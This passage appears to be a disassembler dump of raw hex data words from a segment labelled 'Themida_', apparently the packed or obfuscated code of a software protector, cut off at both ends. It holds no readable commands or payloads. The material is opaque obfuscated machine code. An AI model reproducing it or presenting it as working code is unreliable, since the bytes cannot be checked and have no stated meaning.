5BF88B66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0BE7A2DC3h, 0DF8B66FBh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 0D67A15C3h, 23499D8Bh, 95FF0610h, 6101D19h dd 0C840Fh, 810F0000h, 6, 870Fh, 8D8D0000h, 613AFD8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 6658C7CBh dd 0FF5E48BFh, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 47A9E4ADh, 9589F028h dd 6102795h, 5ED78166h, 9BD8370h, 1061022h, 6D850Fh, 9D890000h dd 6102D45h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0A86DC4C3h, 0F4F229C8h, 0CB816622h dd 0F509A6Eh, 280h, 89D88B00h, 0B5892404h, 6100CA1h, 28719D89h dd 95FF0610h, 6100495h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 42C35343h, 0E9AF32A0h, 0F0Fh, 0E8h, 0ED815D00h dd 614E726h, 2DBD8B60h, 0F06100Ah, 68Ch, 8DBD8B00h, 61061020h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BAC35545h dd 69A8D454h, 0B4115C8Ah, 0BD315651h, 6102F89h, 858D5B5Bh dd 61399B6h, 1479B589h, 0E9900610h, 0Bh, 0E7864B71h, 1C5BD5A1h dd 50FB6668h, 16E4BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 92F42299h, 3FA6FF36h dd 0FF64D98Ah, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0D67A1580h dd 7A7137D2h, 2DBD8BEAh, 64061031h, 2589h, 0BB660000h dd 85FFFCD2h, 6101419h, 6E8h, 52C7F500h, 0E96D94D0h, 11h dd 3934396Ch, 3BDDDC2Ch, 0F8113808h, 5BA1351Dh, 0FF6A5B48h dd 83CB8166h, 0F88B663Ch, 1F51B5FFh, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A2D119C3h dd 84B0AECBh, 9DA6F381h, 9589566Bh, 6100EF9h, 61595FFh dd 40E90610h, 8B000001h, 100F7D9Dh, 6600B006h, 0E6FD91BBh dd 0FE8B6670h, 0FF871E4h, 613CDEBFh, 121830Fh, 0FF80000h dd 0BD8BC8B6h, 6100655h, 6BAh, 7E900h, 35CE0000h, 2A15F094h dd 89C18B55h, 10099185h, 4E8C106h, 758D8960h, 89061023h dd 101F059Dh, 0F7666106h, 1D890FE2h, 0E8000000h, 11h, 0FBE77058h dd 7BC5F700h, 91AB57F8h, 2B50985Bh, 0E4EB81FAh, 5F037AF2h dd 880FC82Bh, 0Ch, 6830Fh, 0BD8B0000h, 61004E5h, 0BD8BD18Bh dd 610310Dh, 95DA46BBh, 0A1E900h, 0DE8B0000h, 141D9D09h dd 858B0610h, 4, 0FE9h, 0D75A7800h, 0F5FD432Bh, 80F5A03Bh dd 0A498BF70h, 4ADB8166h, 7C083F9h, 83D7F380h, 515100C0h dd 5B5B5B50h, 0FDB50DBFh, 0FD03B66h, 2983h, 0EE800h, 0BDEE0000h dd 3B22F619h, 72341CE7h, 20688662h, 5E9h, 6C770800h, 0E95FD20Ah dd 3Bh, 0C35B531h, 8D8B0610h, 0FFFFFFFFh, 5919D8Bh, 0E1830610h dd 20840F01h, 8B000000h, 10168D9Dh, 0FFA58306h, 0FEFFFFFFh dd 9589D88Ah, 4, 30DD9589h, 0E90610h, 8D000000h, 145F03B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0B71806B0h, 0B529519Dh, 6101065h, 0E9006A5Bh dd 8, 3B021BBAh, 83F5B507h, 31C995FFh, 0B9F80610h, 104Bh dd 3025BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0D3816642h dd 53FCCFC9h, 0B85BF9h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0BD65C351h dd 0BDA8689Eh, 89F7BB63h, 1031558Dh, 0E59D8B06h, 2B061010h dd 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0D99D8BA4h, 0AD06102Eh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 7795C356h, 1EBCBF73h, 0BD23131Dh dd 61008B5h, 2A35BD8Bh, 880D0610h, 0F000000h, 682h, 8D9D8900h dd 8B061020h, 1009F595h, 68E0F06h, 81000000h, 0DAA1B7CBh dd 0DD953136h, 8B061027h, 1023198Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8B77480Fh dd 1006099Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 180C356h, 101AF1B5h, 6E806h, 31920000h dd 97D5B567h, 2EF19D29h, 835B0610h, 101E29BDh, 840F0006h dd 4Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 67C35646h, 0B8DFh, 8DF90000h, 104E858Dh, 8BEBBB06h dd 0E1FF7020h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0BDC35242h, 83E7BECEh, 1022C1BDh, 840F0006h, 468h dd 0AD83F1BFh, 1D852965h, 8306100Ch, 1022C1BDh, 840F0106h dd 46Bh, 13E9h, 0D7450D00h, 9649183Ch, 4D1CAEBFh, 0AC67E284h dd 5E938D3Dh, 22C1BD83h, 0F030610h, 41086h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 7FA2FDDEh, 0E231A7A5h, 9D8B4492h, 61000E9h, 51958960h dd 66061016h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 3ADC53C3h, 8A0F1D50h, 6, 619BD2Bh dd 0E1800610h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 6656AC99h, 0F91EDF81h dd 0FC90A5Fh, 1A784h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 8B6657B4h, 858B5FFEh dd 6102185h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0A5C35141h, 0D88A02D8h, 11FD8533h, 8EBB0610h, 662BBEBAh dd 0BF90FE8Bh, 382CC713h, 3860F50h, 66000000h, 6A90F88Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 8205C351h, 49BD8BC3h, 6A06101Eh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 757DF527h, 0F925FBEAh, 0CE9A5h, 96650000h, 0C8526FC3h dd 2F45D513h, 4E8FFEFh, 0FF000000h, 60001F03h, 6FB82EBAh dd 8DBF6624h, 0E9506161h, 0Eh, 7151086Ah, 8FDDC84Ch, 0B1F8BD0h dd 448B635Fh, 8B660424h, 0E9008BF8h, 0Eh, 9DEB8C09h, 0C2C7E587h dd 6FB8D4E4h, 44896BB1h, 50570424h, 0F88B6652h, 0DE8A310Fh dd 585B585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 67C35747h, 2D099531h, 3CB70610h, 5D595FFh, 6A0610h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 4F974DC3h, 0B01D15F5h, 603FFD1Dh, 20E9BD8Bh, 8D890610h dd 61020CDh, 4ABF6661h, 6D8589CAh, 8A0613C2h, 186E9FEh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 9529FCC3h, 6100065h, 0C265858Bh, 8B660613h dd 1800C7DEh, 8B000000h, 1006259Dh, 69B58B06h, 6A0613C2h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 9860C351h, 0BD1E565Fh, 0D78A12C9h, 535CA4BFh dd 25858B2Fh, 0E906100Eh, 7, 0E74C9644h, 893C8997h, 0EFBF6606h dd 85858BA1h, 6A061021h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0F8EBC350h, 7175EAA7h dd 5D79DCA8h, 8819EF81h, 468972D2h, 0C59D2904h, 9606102Dh dd 0FAB0BF66h, 12E89650h, 7E000000h, 0D329BBEDh, 90CBDC12h dd 23D44D6Ch, 9F1B7DABh, 1C781E8h, 5F3C75E0h, 0C265B5FFh dd 9D8B0613h, 61023B1h, 7A4FB968h, 7E87Dh, 100B0000h, 72FFA27Dh dd 34815BCBh, 654C4624h, 8DD88B7Dh, 13C26D85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0FC094975h, 23CD6A9Ch, 2890F32h, 0B3000000h, 12E9E0h dd 60A30000h, 0F62C2BE2h, 3A49245Fh, 57A4CCBBh, 5B302DB7h dd 0DA8B6650h, 8B240489h, 101CFD9Dh, 0D595FF06h, 6A061005h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0A3C1C357h, 1C258D89h, 0FB8B0610h, 85C7F961h dd 61022C1h, 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0B9C35141h, 0DA18D01h, 0BD830610h, 613C26Dh, 3A840F00h dd 0F000000h, 683h, 0D2F78100h, 0E97C5DD6h, 44h, 0E851006Ah dd 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 0C35141h, 209425FCh dd 89F98B66h, 1031798Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 84C35747h, 295026E4h, 297440AAh, 6810FE6h dd 8B000000h, 1032A19Dh, 0F8BF0F06h, 22C1BD83h, 0F030610h dd 55385h, 27EF8100h, 83231C91h, 13C26DBDh, 840F0006h dd 540h, 1EC5BD8Bh, 0B5FF0610h, 613C26Dh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 4CC35343h, 942BCAB1h dd 5DBF58DEh, 0FF6E19B3h, 102FA595h, 0D5958906h, 8B061010h dd 13C261B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8166FA47h, 0E8FBD5CBh, 12h, 597BC45Bh dd 903A1CEDh, 0F3A00965h, 929A9D24h, 890F576Ch, 5, 0A783CDBBh dd 6C75B62h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 36C35343h, 1D5DE1A4h, 50075A08h, 80243489h dd 0B5FFCCF3h, 613C26Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 2FC35545h, 11B9BD8Bh, 95FF0610h, 6101225h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 60C35747h dd 58225509h, 0BD8B7896h, 6102A8Dh, 0C261B58Bh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 47699FC3h, 21D1858Bh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 1E0224C3h, 0C7BDE4B1h dd 8589BEAAh, 610004Dh, 0FB59501h, 86890610h, 0C4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 57C35545h, 58A0Fh dd 0AFBF0000h, 0F945F923h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C185C4C3h dd 0FAC9D53Fh, 666B26C1h, 7A79CF81h, 2205BD8Bh, 0C2830610h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 89BC0F90h, 8DF92050h, 13D7C285h, 9DBB6606h dd 0B886892Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 207DC352h, 0CB816695h dd 0BF0F42F5h, 0CDBD0BF9h, 6A061032h, 860F5700h, 6, 860Fh dd 665B0000h, 0CE0EF381h, 0C26DB5FFh, 9D8B0613h, 6102E3Dh dd 49595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 8C2FCCC3h, 0B9DF8166h, 0D8BF0F4Fh dd 9D65BB50h, 34894C44h, 799D8B24h, 0FF06100Eh, 13C26DB5h dd 799D0906h, 0FF061027h, 10162D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 6A82C2EDh dd 83D98B66h, 101351BDh, 840F0006h, 0A2h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 54C35343h, 96CC4D74h dd 13E896h, 3D370000h, 0A954C516h, 5908E257h, 0C7667C2Ch dd 0D9953ECDh, 0CE921h, 648B0000h, 8DA0A30Dh, 0A450AB58h dd 505F0B4Bh, 6A96FC8Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 5E99C355h, 10E960h dd 3D260000h, 0A4411B4Fh, 0B556D4EAh, 0B6CE257Eh, 8153E952h dd 0D9D2DCF7h, 0E9615E7Dh, 12h, 0EF406B4Fh, 0A4077446h dd 0B56504A0h, 0FBF09A4Bh, 0B5FF72EBh, 613C26Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 39C35747h, 3DE5A535h dd 4E16544Ch, 9E9B2h, 0CDD20000h, 0A0E7CF1Bh, 0FFC3C1E1h dd 100C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 4F9C4F68h, 2471B9A0h, 3602CABh, 1006D98Dh dd 8DBD8906h, 6106100Ah, 58C0Fh, 81660000h, 0FF37F0E3h dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 9DCEDA30h, 2F8C8D0Ch, 12E8CCh, 0E4650000h dd 0C6A41DE1h, 0DDCB47D2h, 0C1F97900h, 2ADD052Bh, 11E8h dd 9B3B4600h, 50E9AC93h, 60C2AB12h, 0B54B3E0Bh, 6E946D1h dd 9000000h, 0FBA081C4h, 8B5F5B3Bh, 8E9DAh, 0CE360000h dd 7310E141h, 95FF67C6h, 6101621h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0D9C35343h, 0C20E5FC0h, 2840Fh dd 0CFB30000h, 8C0Fh, 0BD830000h, 6100F89h, 6B840F02h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0E2E1C351h, 14E9h, 6CCBF800h dd 7DC36CFEh, 95CE223h, 4A35BC09h, 0A7499BB9h, 0C5858B25h dd 81061010h, 71D1BE3h, 0C63Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0A7C35747h, 5FDBB66h, 1E5D9D8Bh dd 85C70610h, 6102A25h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 20C35242h dd 4D9DA96Ah, 22F99D89h, 0BD010610h, 6100DD5h, 0FFF231E9h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0D7E63EACh, 0AE96027h, 79000000h, 0E01A88B4h dd 0B0F55082h, 6850FA5h, 89000000h, 1004F595h, 0BD336106h dd 6100DA9h, 8DF8C18Bh, 1013B985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 2FC380F5h dd 24048950h, 6A006AF5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 7892C356h, 0DDBD8BB2h dd 6A06102Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 6BAE54A4h, 2E38166h, 0F9BD894Bh dd 8D06101Fh, 14F8A685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 29857FC2h, 10201D85h dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0B6C35242h, 444926FFh, 0C1DEAF17h, 0F8B70FA2h dd 0FB8B6650h, 0F240489h, 68Dh, 0C5B50900h, 6A06100Dh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 6A5B5282h, 5BD8B00h, 0BB061017h, 33AB6305h dd 1D1995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 52B552C3h, 12E954A6h, 37000000h dd 36307222h, 1D3064Dh, 0C3F75E8Bh, 0C376969Eh, 0E860F8Fh dd 60000000h, 8D0Fh, 9D890000h, 6103001h, 8DFB8B61h, 13AFD88Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 68E0F02h, 89000000h, 100CA99Dh, 6AD1FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0D400C351h, 9B31CF4h, 1004DD95h, 14E906h dd 0DCD80000h, 6441DB89h, 4050C793h, 7A94679Ah, 6D60143Fh dd 0BD8336CCh, 6102209h, 96850F01h, 0F000000h, 0D89h, 9D8B6000h dd 6102D51h, 450EBEh, 26A611Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 77C35646h, 451B93F8h, 0F2D45655h dd 90B0F380h, 0E9505B56h, 13h, 969EC3F7h, 0E68FC376h, 9F5B0E96h dd 0FEB13828h, 90728ADFh, 60D9B70Fh, 1395958Bh, 85890610h dd 61027BDh, 9595FF61h, 0BF061004h, 2DE8EE74h, 1B800Fh dd 0E8600000h, 0Dh, 0BEDA80BFh, 0DC1B9CDBh, 0BA7C4062h dd 0E6815FAEh, 7073F8F3h, 0E69E961h, 0E80000h, 5D000000h dd 0F8B0ED81h, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 891099C3h db 9Dh, 0ADh word_59AD42 dw 100Eh ; DATA XREF: Themida_:0054C08Co dd 0DFBF0F06h, 99B6858Dh, 0BD890613h, 6101645h, 5850F50h dd 0BF000000h, 4DD40F41h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 3C8FC357h dd 0FF550410h, 15819D2Bh, 0FF640610h, 35h, 820F6000h, 6 dd 1E758D89h, 9D310610h, 6102865h, 85896061h, 61014A5h dd 99BD2B53h, 59061031h, 25896461h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D2C35343h dd 0B79314D0h, 0CE9F9h, 43D00000h, 69540510h, 8E9BE8BEh dd 85FF5434h, 6101419h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0E6C35646h, 294AB054h, 10286D95h, 0E8FF6A06h dd 13h dword_59AE20 dd 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h, 892F03A4h ; DATA XREF: Themida_:0054C348o dd 1020E995h, 0B5FF5F06h, 6101B25h, 0EDDBD89h, 95FF0610h dd 6100615h, 12AE9h, 58A0F00h, 66000000h, 440DCB81h, 5300B0F8h dd 0ADF38053h, 70E65F5Fh, 27A99D8Bh, 0F600610h, 61F5C7B7h dd 0BB5371E4h, 613BED59h, 0F613C5Bh, 0F683h, 45958900h dd 0F061000h, 9D89C8B6h, 61006F5h, 6BAh, 51B50100h, 60061021h dd 61F5D88Bh, 9D89C18Bh, 6101149h, 6604E8C1h, 8B24C6BFh dd 100A15BDh, 0E2F76606h, 0D3DBD8Bh, 0C82B0610h, 79BD2352h dd 5B06101Ah, 9D8BD18Bh, 61030ADh, 0A2E9h, 8BFE8B00h, 4C4C4485h dd 5E85Fh, 83520000h, 0E82EB6F2h, 0Fh, 0C1CAA718h, 0E3548796h dd 3A9D84F6h, 0F6D96B7h, 81h, 835F5B00h, 13E807C0h, 0A0000000h dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 0BD8BBEC1h dd 61029D9h, 0C0835Fh, 5899D09h, 3BF80610h, 11830FD0h dd 81000000h, 184853C7h, 35E905h, 9D8B0000h, 61015B1h dd 0FFFF8D8Bh, 9D8BFFFFh, 6100F99h, 0F01E183h, 1A84h, 83FE8B00h dd 0FFFFFFA5h, 9589FEFFh, 5F4C4C44h, 15A99D8Bh, 0E90610h dd 8D000000h, 146F4EB5h, 0C7806006h, 0C28166D7h, 6A61CFB3h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 3EFD426Ch, 0A5D6CF81h, 95FF4938h, 61031C9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BAC35646h dd 1F959D8Bh, 7EB90610h, 3100000Fh, 1009C9BDh, 0FCE18306h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2C35646h dd 507F278Ah, 1FC6328h, 1010C98Dh, 0B8F506h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 795EC351h, 3AE6EBBFh, 0F3355722h, 2BF8B70Fh dd 858B60D2h, 6100A39h, 11E861h, 0BFA90000h, 0F6EABE5Bh dd 0D60FCAFDh, 2CB43DDDh, 6695E3C9h, 0CCD7F381h, 0C233AD5Fh dd 0D003E8D1h, 7504E983h, 2F781F4h, 6A5D680Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 1F8EC350h, 2F24B5D4h, 0DBF9014h, 88h, 12E8h, 0ECA9BB00h dd 6A3ADEA6h, 323F68DBh, 55524A64h, 8BF0FC3Dh, 101175BDh dd 958B5B06h, 61009F5h, 23198D8Bh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29FA61C3h dd 0BE44D7Ch, 1020ADBDh, 92E78106h, 50238C15h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 25BD8B58h, 66061006h dd 97D5C781h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0AAC35242h, 83C25946h, 101E29BDh, 840F0006h, 5Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 4CC35141h dd 0B8FFB70Fh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8C35646h dd 0BD0BC9CDh, 6102179h, 4E858D8Dh, 0B5090610h, 6101D69h dd 0BD8BE1FFh, 6101BADh, 22C1BD83h, 0F000610h, 48884h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8B665238h, 0C1BD83D9h, 1061022h, 476840Fh dd 850F0000h, 6, 805B589h, 0BD8B0610h, 6103011h, 22C1BD83h dd 0F030610h, 42186h, 6A60F800h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 9330C352h, 0F774F613h dd 0BF0F5C89h, 0D98C66DBh, 807DDB80h, 6A04E1h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 3E1EF9C3h, 0C6FE86E0h, 0C90ADEB3h, 0E2840Fh, 81660000h dd 8BEE04D3h, 10218585h, 0A59D2306h, 33061000h, 1011FD85h dd 0D5B58906h, 9006102Ah, 8E9h, 0BC7BF900h, 6C09598Fh dd 52505034h, 0B9E1B260h, 561BE54Eh, 60310F61h, 7DB05A56h dd 90585A61h, 2DDD8501h, 6A0610h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 87C35747h, 0A7FF3D96h, 0FE33C1BBh dd 9D8D891Bh, 0E806100Ah, 4, 1F03FFh, 7947BB66h, 24448B50h dd 0FB8B5304h, 89008B5Bh, 0BB042444h, 51BA6488h, 0C810F58h dd 0F000000h, 684h, 0CDB58900h, 8B061004h, 0D595FFD9h dd 0BB061005h, 7EF80F81h, 0C26D8589h, 6A0613h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E9EE50C3h, 27Ch, 577BB66h, 0C265858Bh, 6A0613h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B0CB9C3h, 1008D5BDh, 1800C706h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8BAAC350h, 1010959Dh, 0D7816606h, 0B58BC9A6h, 613C269h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3CC35141h dd 276B84F4h, 14BB2276h, 0C98D899Ch, 0BB061010h, 215F63h dd 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0CE4165C3h, 7624D5Ah, 6892372h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4FC35040h dd 0B529EDFEh, 610105Dh, 2185858Bh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1FEAF1C3h dd 4BFB9090h, 0FBB70FB0h, 6A044689h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 3E3C350h dd 960701Ch, 101AA9BDh, 118D3106h, 6106101Ch, 8B525050h dd 51310FFBh, 0BE9h, 54304000h, 4E82FE2Ah, 79A5F166h, 89585A5Bh dd 0BD8B2434h, 6102ABDh, 0C265B5FFh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2C7495C3h dd 68668B89h, 0EDAA86ADh, 50525060h, 5A310F52h, 0BB310F58h dd 3DF38B2Dh, 0DE9585Ah, 0AA000000h, 438E7049h, 0B17624F6h dd 0DE62DACCh, 24048161h, 12747D52h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 2DC35545h, 8DD95650h, 13C26D85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BFDCC82h, 103091BDh, 0E9609006h, 6, 0B1A017DFh dd 0F600AF6h, 82h, 0CB8B6600h, 50506161h, 905FDF8Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h, 8BA829EEh dd 1021E59Dh, 0D595FF06h, 6A061005h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9AD7C356h dd 1913ECE4h, 3F1BDD7Ch, 19319D8Bh, 95890610h, 61019E9h dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0A72330C5h, 29CCAEAFh, 0C185C7CEh, 3061022h dd 60000000h, 0EE8h, 0A058600h, 4788D771h, 1D9ED841h, 0F940C24Bh dd 0CFE7805Ah, 6DBD8361h, 613C2h, 14840Fh, 0FB8B0000h dd 28E9h, 0BE666000h, 0F60F47Dh, 6161C8BFh, 305083B7h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0C690C5CAh, 2D518D09h, 9D8B0610h, 6100DB5h dd 22C1BD83h, 0F030610h, 47A85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D64FA22Dh dd 0C26DBD83h, 0F000613h, 44E84h, 0D98B6600h, 0C26DB5FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8B7FF5C3h, 100A319Dh, 8CAEBF06h, 95FF4911h dd 6102FA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 81C35646h, 654F0725h, 0AAEB806Eh, 0C261B58Bh, 6A0613h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0DEDD11C3h, 0FE8B66A7h, 1EDDBD8Bh, 6C70610h, 10001h dd 68C0Fh, 9D290000h, 6101699h, 8F0F5150h, 2, 895B66B3h dd 0B5312434h, 6101EC5h, 0C26DB5FFh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 659A4EC3h dd 0D19AD28Bh, 122595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 982D6FC3h, 1C1DBD8Bh dd 0B58B0610h, 613C261h, 1925BD8Bh, 858B0610h, 61021D1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A7C35545h dd 7F470679h, 